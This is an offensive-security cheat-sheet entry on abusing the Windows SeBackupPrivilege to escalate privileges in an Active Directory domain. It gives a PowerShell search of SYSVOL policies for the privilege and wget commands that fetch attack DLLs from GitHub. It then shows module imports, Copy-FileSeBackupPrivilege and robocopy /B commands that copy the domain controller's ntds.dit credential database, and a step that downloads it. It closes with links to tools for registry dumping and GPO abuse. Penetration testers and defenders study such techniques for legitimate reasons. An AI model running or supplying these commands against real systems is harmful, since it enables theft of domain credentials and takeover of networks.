SeBackupPrivilege & SeRestorePrivilege

Search for SeBackupPrivilege through GPO policies:

$ gci -Path \\$ENV:USERDNSDOMAIN\sysvol\$ENV:USERDNSDOMAIN\Policies\ -Recurse -File  -ErrorAction SilentlyContinue | Select-String "SeBackupPrivilege"

File Copy

• https://github.com/giuliano108/SeBackupPrivilege

• https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#priv-svc_backup--administrator

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Overwrite
download ntds.dit

robocopy

• https://0xdf.gitlab.io/2020/09/19/htb-multimaster.html#read-as-system

PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit

Registry

• https://github.com/mpgn/BackupOperatorToDA

• https://github.com/improsec/BackupOperatorToolkit

• https://github.com/snovvcrash/RemoteRegSave

• https://github.com/horizon3ai/backup_dc_registry

Modify GPO

• https://systemweakness.com/expoiting-and-detecting-privilege-escalation-via-a-windows-backup-operator-attack-and-detection-a97e67644214